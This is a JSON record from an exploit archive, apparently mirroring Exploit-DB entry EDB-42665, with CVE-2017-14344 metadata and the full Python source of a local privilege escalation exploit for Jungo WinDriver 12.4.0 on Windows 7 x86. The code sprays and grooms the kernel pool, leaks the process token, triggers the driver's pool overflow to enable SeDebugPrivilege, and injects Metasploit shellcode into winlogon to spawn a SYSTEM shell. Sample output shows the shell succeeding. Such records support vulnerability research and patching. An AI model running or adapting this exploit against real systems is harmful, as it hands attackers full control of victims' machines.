{"exploit":{"id":"EDB-42665","name":"Jungo DriverWizard WinDriver <= 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (LPE)","description":"Jungo DriverWizard WinDriver <= 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (LPE)","cves":["CVE-2017-14344"],"author":"mr_me","published":"2017-09-12","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42665","path":"exploits/windows/local/42665.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42665.py","vulnerabilities":[{"id":"CVE-2017-14344","state":"PUBLISHED","title":null,"titleSource":null,"description":"This vulnerability allows local attackers to escalate privileges on Jungo WinDriver 12.4.0 and earlier. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x95382673 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-14344","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-14344"},"updatedAt":"2024-08-05T19:20:41.637Z","retrievedAt":"2026-11-27T12:09:55.875Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42665.png?v=2","url":"https://exploitbin.com/exploits/EDB-42665","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42665/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42665/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# -*- coding: utf-8 -*-\n\"\"\"\nJungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability\n\nDownload: http://www.jungo.com/st/products/windriver/\nFile:     WD1240.EXE\nSha1:     3527cc974ec885166f0d96f6aedc8e542bb66cba\nDriver:   windrvr1240.sys\nSha1:     0f212075d86ef7e859c1941f8e5b9e7a6f2558ad\nCVE:      CVE-2017-14344\nAuthor:   Steven Seeley (mr_me) of Source Incite\nAffected: <= v12.4.0\nThanks:   @dronesec & @FuzzySec !\n\nSummary:\n========\n\nThis vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the processing of IOCTL 0x95382673 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.\n\nTimeline:\n=========\n\n2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/info@jungo.com\n2017-08-25 – No response from Jungo and two bounced emails\n2017-08-26 – Attempted a follow up with the vendor via website chat\n2017-08-26 – No response via the website chat\n2017-09-03 – Recieved an email from a Jungo representative stating that they are \"looking into it\"\n2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release\n2017-09-06 – No response from Jungo\n2017-09-06 – Public 0day release of advisory\n\nExploitation:\n=============\n\nThis exploit uses a data only attack via the Quota Process Pointer Overwrite technique. We smash the token's _SEP_TOKEN_PRIVILEGES->Enabled and dec the controlled address by 0x50 (size of the Mutant) to enable SeDebugPrivilege's. Then we inject code into a system process.\n\nNote that this exploit doesn't use any kernel mode shellcode :->\n\nReferences:\n===========\n\n- https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf\n- https://github.com/hatRiot/token-priv\n\nExample:\n========\n\nC:\\Users\\user\\Desktop>whoami\ndebugee\\user\n\nC:\\Users\\user\\Desktop>poc.py\n\n        --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]\n                       Steven Seeley (mr_me) of Source Incite\n\n(+) attacking WinDrvr1240 for a data only attack...\n(+) sprayed the pool!\n(+) made the pool holes!\n(+) leaked token 0xa15535a0\n(+) triggering pool overflow...\n(+) allocating pool overflow input buffer\n(+) elevating privileges!\n(+) got a handle to winlogon! 0x2bd10\n(+) allocated shellcode in winlogon @ 0xc0000\n(+) WriteProcessMemory returned: 0x1\n(+) RtlCreateUserThread returned: 0x0\n(+) popped a SYSTEM shell!\n\nC:\\Users\\user\\Desktop>\n\nin another terminal...\n\nMicrosoft Windows [Version 6.1.7601]\nCopyright (c) 2009 Microsoft Corporation.  All rights reserved.\n\nC:\\Windows\\system32>whoami\nnt authority\\system\n\nC:\\Windows\\system32>\n\"\"\"\nfrom ctypes import *\nfrom ctypes.wintypes import *\nimport struct, sys, os, time, psutil\nfrom platform import release, architecture\n\nntdll    = windll.ntdll\nkernel32 = windll.kernel32\nMEM_COMMIT             = 0x00001000\nMEM_RESERVE            = 0x00002000\nPAGE_EXECUTE_READWRITE = 0x00000040\nSTATUS_SUCCESS              = 0x0\nSTATUS_INFO_LENGTH_MISMATCH = 0xC0000004\nSTATUS_INVALID_HANDLE       = 0xC0000008\nSystemExtendedHandleInformation = 64\n\nclass LSA_UNICODE_STRING(Structure):\n    \"\"\"Represent the LSA_UNICODE_STRING on ntdll.\"\"\"\n    _fields_ = [\n        (\"Length\", USHORT),\n        (\"MaximumLength\", USHORT),\n        (\"Buffer\", LPWSTR),\n    ]\n\nclass SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):\n    \"\"\"Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.\"\"\"\n    _fields_ = [\n        (\"Object\", c_void_p),\n        (\"UniqueProcessId\", ULONG),\n        (\"HandleValue\", ULONG),\n        (\"GrantedAccess\", ULONG),\n        (\"CreatorBackTraceIndex\", USHORT),\n        (\"ObjectTypeIndex\", USHORT),\n        (\"HandleAttributes\", ULONG),\n        (\"Reserved\", ULONG),\n    ]\n\nclass SYSTEM_HANDLE_INFORMATION_EX(Structure):\n    \"\"\"Represent the SYSTEM_HANDLE_INFORMATION on ntdll.\"\"\"\n    _fields_ = [\n        (\"NumberOfHandles\", ULONG),\n        (\"Reserved\", ULONG),\n        (\"Handles\", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),\n    ]\n\nclass PUBLIC_OBJECT_TYPE_INFORMATION(Structure):\n    \"\"\"Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.\"\"\"\n    _fields_ = [\n        (\"Name\", LSA_UNICODE_STRING),\n        (\"Reserved\", ULONG * 22),\n    ]\n\nclass PROCESSENTRY32(Structure):\n    _fields_ = [\n        (\"dwSize\", c_ulong),\n        (\"cntUsage\", c_ulong),\n        (\"th32ProcessID\", c_ulong),\n        (\"th32DefaultHeapID\", c_int),\n        (\"th32ModuleID\", c_ulong),\n        (\"cntThreads\", c_ulong),\n        (\"th32ParentProcessID\", c_ulong),\n        (\"pcPriClassBase\", c_long),\n        (\"dwFlags\", c_ulong),\n        (\"szExeFile\", c_wchar * MAX_PATH)\n    ]\n\ndef signed_to_unsigned(signed):\n    \"\"\"\n    Convert signed to unsigned integer.\n    \"\"\"\n    unsigned, = struct.unpack (\"L\", struct.pack (\"l\", signed))\n    return unsigned\n\ndef get_type_info(handle):\n    \"\"\"\n    Get the handle type information to find our sprayed objects.\n    \"\"\"\n    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()\n    size = DWORD(sizeof(public_object_type_information))\n    while True:\n        result = signed_to_unsigned(\n            ntdll.NtQueryObject(\n                handle, 2, byref(public_object_type_information), size, None))\n        if result == STATUS_SUCCESS:\n            return public_object_type_information.Name.Buffer\n        elif result == STATUS_INFO_LENGTH_MISMATCH:\n            size = DWORD(size.value * 4)\n            resize(public_object_type_information, size.value)\n        elif result == STATUS_INVALID_HANDLE:\n            return None\n        else:\n            raise x_file_handles(\"NtQueryObject.2\", hex (result))\n\ndef get_handles():\n    \"\"\"\n    Return all the processes handles in the system at the time.\n    Can be done from LI (Low Integrity) level on Windows 7 x86.\n    \"\"\"\n    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()\n    size = DWORD (sizeof (system_handle_information))\n    while True:\n        result = ntdll.NtQuerySystemInformation(\n            SystemExtendedHandleInformation,\n            byref(system_handle_information),\n            size,\n            byref(size)\n        )\n        result = signed_to_unsigned(result)\n        if result == STATUS_SUCCESS:\n            break\n        elif result == STATUS_INFO_LENGTH_MISMATCH:\n            size = DWORD(size.value * 4)\n            resize(system_handle_information, size.value)\n        else:\n            raise x_file_handles(\"NtQuerySystemInformation\", hex(result))\n\n    pHandles = cast(\n        system_handle_information.Handles,\n        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \\\n                system_handle_information.NumberOfHandles)\n    )\n    for handle in pHandles.contents:\n        yield handle.UniqueProcessId, handle.HandleValue, handle.Object\n\ndef we_can_spray():\n    \"\"\"\n    Spray the Kernel Pool with IoCompletionReserve and Event Objects.\n    The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.\n    These are allocated from the Nonpaged kernel pool.\n    \"\"\"\n    handles = []\n    for i in range(0, 50000):\n        handles.append(windll.kernel32.CreateMutexA(None, False, None))\n    # could do with some better validation\n    if len(handles) > 0:\n        return True\n    return False\n\ndef alloc_pool_overflow_buffer(base, input_size):\n    \"\"\"\n    Craft our special buffer to trigger the overflow.\n    \"\"\"\n    print \"(+) allocating pool overflow input buffer\"\n    baseadd   = c_int(base)\n    size = c_int(input_size)\n    priv = token + 0x40 + 0x8                  # Enabled\n\n    input  = struct.pack(\"<I\", 0x0000001a)     # size\n    input += \"\\x44\" * 0x398                    # offset to overflown chunks\n\n    # patch\n    input += struct.pack(\"<I\", 0x040a008c)     # _POOL_HEADER\n    input += struct.pack(\"<I\", 0xe174754d)     # _POOL_HEADER\n    input += \"\\x44\" * 0x20\n    input += struct.pack(\"<I\", 0x00000000)\n    input += struct.pack(\"<I\", 0x00000001)\n    input += \"\\x44\" * 0x20\n    input += struct.pack(\"<I\", 0x00000001)     # set @ecx to 0x1, to write another 0x4 dwords\n    input += struct.pack(\"<I\", 0x00000000)\n    input += \"\\x44\" * 8\n    input += struct.pack(\"<I\", 0x00000001)\n    input += struct.pack(\"<I\", 0x00000001)\n    input += \"\\x44\" * 4\n    input += struct.pack(\"<I\", 0x0008000e)     # restore the TypeIndex ;-)\n    input += struct.pack(\"<I\", priv)           # Quota Process Pointer Overwrite\n\n    # filler\n    input += \"\\x43\" * (input_size-len(input))\n    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,\n                                              POINTER(c_int), c_int, c_int]\n    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,\n                                             byref(size),\n                                             MEM_RESERVE|MEM_COMMIT,\n                                             PAGE_EXECUTE_READWRITE)\n    if dwStatus != STATUS_SUCCESS:\n        print \"(-) error while allocating memory: %s\" % hex(dwStatus + 0xffffffff)\n        return False\n    written = c_ulong()\n    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))\n    if write == 0:\n        print \"(-) error while writing our input buffer memory: %s\" % write\n        return False\n    return True\n\ndef we_can_trigger_the_pool_overflow():\n    \"\"\"\n    This triggers the pool overflow vulnerability using a buffer of size 0x460.\n    \"\"\"\n    GENERIC_READ  = 0x80000000\n    GENERIC_WRITE = 0x40000000\n    OPEN_EXISTING = 0x3\n    DEVICE_NAME   = \"\\\\\\\\.\\\\WinDrvr1240\"\n    dwReturn      = c_ulong()\n    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)\n    inputbuffer       = 0x41414141\n    inputbuffer_size  = 0x5000\n    outputbuffer_size = 0x5000\n    outputbuffer      = 0x20000000\n    alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)\n    IoStatusBlock = c_ulong()\n\n    if driver_handle:\n        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x95382673,\n                                                inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)\n        return True\n    return False\n\ndef we_can_make_pool_holes():\n    \"\"\"\n    This makes the pool holes that will coalesce into a hole of size 0x460.\n    \"\"\"\n    global khandlesd, to_free\n    mypid = os.getpid()\n    khandlesd = {}\n    to_free   = []\n\n    # leak kernel handles\n    for pid, handle, obj in get_handles():\n\n        # mixed object attack\n        if pid == mypid and get_type_info(handle) == \"Mutant\":\n            khandlesd[obj] = handle\n\n    # Find holes and make our allocation\n    holes = []\n    for obj in khandlesd.iterkeys():\n\n        # obj address is the handle address, but we want to allocation\n        # address, so we just remove the size of the object header from it.\n        alloc = obj - 0x30\n\n        # Get allocations at beginning of the page\n        if (alloc & 0xfffff000) == alloc:\n            bin = []\n\n            # object sizes\n            Mutant_size = 0x50\n\n            # we use 0x10 since thats the left over freed chunk from filling the page\n            offset = Mutant_size + 0x10\n            for i in range(offset, offset + (0xe * Mutant_size), Mutant_size):\n\n                if (obj + i) in khandlesd:\n                    bin.append(khandlesd[obj + i])\n\n            # make sure it's contiguously allocated memory\n            if len(tuple(bin)) == 0xe:\n\n                # free the 2nd chunk only\n                if (obj + i + (Mutant_size * 0x2)) in khandlesd:\n                    to_free.append(khandlesd[obj + i + (Mutant_size * 0x2)])\n                holes.append(tuple(bin))\n\n    # make the holes to fill\n    for hole in holes:\n        for handle in hole:\n            kernel32.CloseHandle(handle)\n    return True\n\ndef we_can_leak_token():\n    \"\"\"\n    Uses NtQuerySystemInformation to leak the token\n    \"\"\"\n    global token\n    hProcess = HANDLE(windll.kernel32.GetCurrentProcess())\n    hToken = HANDLE()\n    TOKEN_ALL_ACCESS = 0xf00ff\n    windll.advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken))\n    for pid, handle, obj in get_handles():\n        if pid==os.getpid() and get_type_info(handle) == \"Token\":\n            token = obj\n            return True\n    return False\n\ndef trigger_lpe():\n    \"\"\"\n    This function frees the Mutant objects and this triggers the\n    usage of the Quota Process Pointer, dec'ing by 0x50, avoiding OkayToCloseProcedure.\n    \"\"\"\n\n    # we dont know where the free chunk is, we just know its in one of the pages\n    # full of Mutants and that its the 2nd chunk after the overflowed buffer. Good enough.\n    for v in to_free:\n        kernel32.CloseHandle(v)\n\ndef get_winlogin_pid():\n    \"\"\"\n    Just gets winlogon pid. Get whateva system pid you want\n    \"\"\"\n    for proc in psutil.process_iter():\n        if proc.name() == \"winlogon.exe\":\n            return proc.pid\n    return 0\n\ndef we_can_inject():\n    \"\"\"\n    Now that we have the SeDebugPrivilege, we can inject into a system process.\n    I choose winlogon because you get the bonus GUI.\n    \"\"\"\n    page_rwx_value = 0x40\n    process_all    = 0x1f0fff\n    memcommit      = 0x00001000\n    hThread        = HANDLE()\n\n    # get a handle to the process\n    pHandle = windll.kernel32.OpenProcess(process_all, False, get_winlogin_pid())\n    if pHandle == 0:\n        return False\n    print \"(+) got a handle to winlogon! 0x%x\" % pHandle\n\n    # metasploit windows/exec CMD=cmd.exe EXITFUNC=Thread\n    buf =  \"\"\n    buf += \"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\n    buf += \"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\n    buf += \"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\n    buf += \"\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\n    buf += \"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\n    buf += \"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\n    buf += \"\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\n    buf += \"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\n    buf += \"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\n    buf += \"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\n    buf += \"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x6a\\x01\\x8d\\x85\\xb2\\x00\"\n    buf += \"\\x00\\x00\\x50\\x68\\x31\\x8b\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\"\n    buf += \"\\x2a\\x0a\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\"\n    buf += \"\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\"\n    buf += \"\\xff\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x00\"\n\n    # allocate some memory in the process\n    fPointer = windll.kernel32.VirtualAllocEx(pHandle, 0, len(buf), memcommit, page_rwx_value)\n    print \"(+) allocated shellcode in winlogon @ 0x%x\" % fPointer\n\n    # write the shellcode to the memory\n    res = windll.kernel32.WriteProcessMemory(pHandle, fPointer, buf, len(buf), 0)\n    print \"(+) WriteProcessMemory returned: 0x%x\" % res\n\n    # create a new thread that starts execution at that code location\n    res = windll.ntdll.RtlCreateUserThread(pHandle, None, 0, 0, 0, 0, fPointer, 0, byref(hThread), 0)\n    print \"(+) RtlCreateUserThread returned: 0x%x\" % res\n    return True\n\ndef main():\n    print \"\\n\\t--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]\"\n    print \"\\t               Steven Seeley (mr_me) of Source Incite\\r\\n\"\n\n    if release() != \"7\" or architecture()[0] != \"32bit\":\n        print \"(-) although this exploit may work on this system,\"\n        print \"    it was only designed for Windows 7 x86.\"\n        sys.exit(-1)\n\n    print \"(+) attacking WinDrvr1240 for a data only attack...\"\n    if we_can_spray():\n        print \"(+) sprayed the pool!\"\n        if we_can_make_pool_holes():\n            print \"(+) made the pool holes!\"\n            if we_can_leak_token():\n                print \"(+) leaked token 0x%x\" % token\n                print \"(+) triggering pool overflow...\"\n                if we_can_trigger_the_pool_overflow():\n                    print \"(+) elevating privileges!\"\n                    trigger_lpe()\n                    if we_can_inject():\n                        print \"(+) popped a SYSTEM shell!\"\n\nif __name__ == '__main__':\n    main()","sha256":"12595f33140dd5ad1360858db78008924a460a521096951699722e2be4fcb958","bytes":16328,"fetchedAt":"2026-11-27T12:09:50.216Z","encoding":"utf-8 (display only; download retains original bytes)"}